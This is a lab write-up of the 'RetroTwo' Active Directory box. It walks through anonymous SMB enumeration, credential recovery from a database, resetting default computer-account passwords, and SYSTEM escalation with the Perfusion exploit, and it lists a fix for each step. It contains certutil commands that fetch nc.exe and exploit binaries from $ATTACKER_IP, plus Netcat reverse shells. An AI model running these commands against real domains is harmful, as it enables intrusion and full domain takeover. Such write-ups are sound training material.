RetroTwo
Summary
I enumerated a Windows Server 2008 R2 Active Directory domain controller (retro2.vl, $TARGET) that permitted anonymous SMB connections. Anonymous access to a public file share yielded an encrypted Microsoft Access database whose plaintext contents exposed a domain service-account password. Separately, pre-staged computer accounts (FS01$, FS02$) had never had their factory-default passwords changed, allowing me to rotate those passwords via the Kerberos kpasswd protocol and obtain valid domain credentials for free.
BloodHound showed that the now-controlled computer account held write and forced-password-reset rights over a second computer account (ADMWS01$). That account's password was force-reset over SMB, unlocking an RDP session to the domain controller. From that desktop session a native Windows binary (certutil) staged a Netcat reverse shell, yielding the user flag.
Because the domain controller ran an end-of-life, unpatched build of Windows Server 2008 R2, the publicly available Perfusion exploit targeted a race condition in the legacy RPC Endpoint Mapper service, escalating the session to SYSTEM and yielding full domain-controller control.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3389,5722,9389 $TARGET -oN retrotwo-nmap.txtecho "$TARGET retro2.vl BLN01.retro2.vl" | sudo tee -a /etc/hostsExact commands 2
nxc smb $TARGET -u 'guest' -p '' --shares --rid-brute 6000nxc smb $TARGET -u guest -p '' --rid-brute 10000 | grep SidTypeUserFixDisable anonymous and guest SMB access and restrict share-level enumerationHigh
Exact commands 2
smbclient //$TARGET/Public -U 'guest%' -c 'prompt OFF; recurse ON; mget *'javac -cp jackcess-4.0.5.jar:jackcess-encrypt-4.0.2.jar DumpJackcess.java && java -cp .:jackcess-4.0.5.jar:jackcess-encrypt-4.0.2.jar DumpJackcess staff.accdbFixRemove plaintext credentials from SMB-accessible files and restrict the Public shareCritical
Exact commands 3
impacket-changepasswd retro2.vl/FS01$@$TARGET -newpass "$PASSWORD" -oldpass '$PASSWORD4' -protocol kpasswdimpacket-changepasswd retro2.vl/FS02$@$TARGET -newpass "$PASSWORD" -oldpass '$PASSWORD5' -protocol kpasswdnxc smb $TARGET -u 'FS01$' -p "$PASSWORD" -d retro2.vlFixIdentify and immediately reset all pre-created computer accounts that retain default pre2k passwordsCritical
Exact commands 1
bloodhound-python -u 'FS01$' -p "$PASSWORD" -d retro2.vl -ns $TARGET -c All --zipExact commands 2
impacket-changepasswd -reset -altuser 'retro2.vl/FS01$' -altpass "$PASSWORD" -user 'ADMWS01$' -newpass '$PASSWORD2' -protocol smb-samr $TARGETnxc smb $TARGET -u 'ADMWS01$' -p '$PASSWORD2' -d retro2.vlFixRemove GenericWrite and ForceChangePassword access-control entries from computer objects granted to non-admin accountsHigh
Exact commands 5
Xvfb :83 -screen 0 1280x800x24 & DISPLAY=:83 xfreerdp /v:$TARGET /u:'ADMWS01$' /p:'$PASSWORD2' /d:retro2.vl /cert:ignore /sec:rdp /size:1280x800 /shell:cmd.exerlwrap nc -lvnp 4444certutil -urlcache -split -f http://$ATTACKER_IP:9000/win/nc.exe C:\Windows\Temp\n.exeC:\Windows\Temp\n.exe -e cmd.exe $ATTACKER_IP 4444type C:\user.txtExact commands 7
git clone --depth 1 https://github.com/itm4n/Perfusion.gitx86_64-w64-mingw32-g++ -O2 -o Perfusion.exe Perfusion/Perfusion.cpp -lws2_32 && x86_64-w64-mingw32-g++ -shared -O2 -o PerfusionDll.dll Perfusion/PerfusionDll.cpppython3 -m http.server 9000rlwrap -cAr nc -lvnp 4446certutil -urlcache -split -f http://$ATTACKER_IP:9000/Perfusion.exe C:\Windows\Temp\Perfusion.exe && certutil -urlcache -split -f http://$ATTACKER_IP:9000/PerfusionDll.dll C:\Windows\Temp\PerfusionDll.dllC:\Windows\Temp\Perfusion.exe -c "C:\Windows\Temp\n.exe -e cmd.exe $ATTACKER_IP 4446"type C:\Windows\System32\config\root.txtFixDecommission or upgrade Windows Server 2008 R2 systems immediately — the OS is unpatched and cannot be secured in placeCritical
Exposed services
| 53/tcp | domain Microsoft DNS 6.1.7601 (1DB15F75) (Windows Server 2008 R2 SP1) |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-08 04:40:16Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: retro2.vl, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | tcpwrapped |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: retro2.vl, Site: Default-First-Site-Name) |
| 3389/tcp | ms-wbt-server Microsoft Terminal Service |
| 5722/tcp | msrpc Microsoft Windows RPC |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49154/tcp | unknown recon-sweep-discovered |
| 49155/tcp | unknown recon-sweep-discovered |
| 49157/tcp | unknown recon-sweep-discovered |
| 49158/tcp | unknown recon-sweep-discovered |
| 49164/tcp | unknown recon-sweep-discovered |